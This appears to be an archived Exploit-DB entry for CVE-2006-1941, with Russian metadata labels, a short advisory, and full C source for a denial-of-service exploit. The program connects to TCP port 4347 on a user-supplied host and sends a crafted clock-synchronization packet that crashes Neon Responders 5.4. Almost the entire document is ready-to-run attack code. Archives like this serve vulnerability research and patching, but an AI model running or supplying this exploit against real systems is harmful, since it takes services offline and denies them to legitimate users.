Exploit Neon Responders 5.4 - Remote Clock Synchronization Denial of Service

[Exploiter]

EDB-ID

27668

Проверка EDB

1. Пройдено

Автор

STEFAN LOCHBIHLER

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2006-1941

Дата публикации

2006-04-10

// source: https://www.securityfocus.com/bid/17569/info

Neon Responders is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle malformed network packets.

This issue allows remote attackers to crash the affected application, denying further service to legitimate users.

Version 5.4 of Neon Responders for Windows is vulnerable to this issue; other versions may also be affected.

/* Stefan Lochbihler*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define PORT 4347
char CLOCK_MSG [] =
"\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84";   //Password = ""

void usage (char*);
void endpgr (char *,SOCKET, char*);
unsigned long gethost (char *);


int main(int argc, char *argv[])
{

    WSADATA wsa;
    SOCKET client;
    sockaddr_in peer;
    WORD wsVersion;

    char sendbuffer[16]="";
    char recvbuffer[16]="";
    unsigned long host=0;
    int err=0;

    if(argc<2)
      usage(argv[0]);

    printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~\n\n");


    if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
    {
        printf("WSAStartup() fail\n");
        exit(0);
    }

    printf("%s:[+] Try to create socket\n",argv[0]);
    client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(client==INVALID_SOCKET)
       endpgr(argv[0],client,"[-] socket() fail");

    printf("%s:[+] Lookup host\n",argv[0]);
    if(!(host=gethost(argv[1])))
       endpgr(argv[0],client,"[-] host not found !");

    peer.sin_family = AF_INET;
    peer.sin_port = htons(PORT);
    peer.sin_addr.s_addr = host;

    printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
    err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
    if(err)
      endpgr(argv[0],client,"[-] connect() fail");

    memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));

    printf("%s:[+] Try to send packet\n",argv[0]);
    err=send(client,sendbuffer,sizeof(sendbuffer),0);
    err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);

    endpgr(argv[0],client,"[+] End successfully");

    return 0;

}

void usage(char *pgrname)
{
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
printf("%s: <Targethost>\n",pgrname);
exit(0);
}

void endpgr (char *pgrname, SOCKET client,char *msg)
{
    printf("%s:%s\n",pgrname,msg);
    WSACleanup();
    closesocket(client);
    exit(0);
}

unsigned long gethost(char *targethost)
{
unsigned long host=0;
hostent *phost=NULL;


host=inet_addr(targethost);
if(host==INADDR_NONE)
{
    if((phost=gethostbyname(targethost))==NULL)
       return 0;
    host=*(unsigned long*)phost->h_addr;
}

return host;
}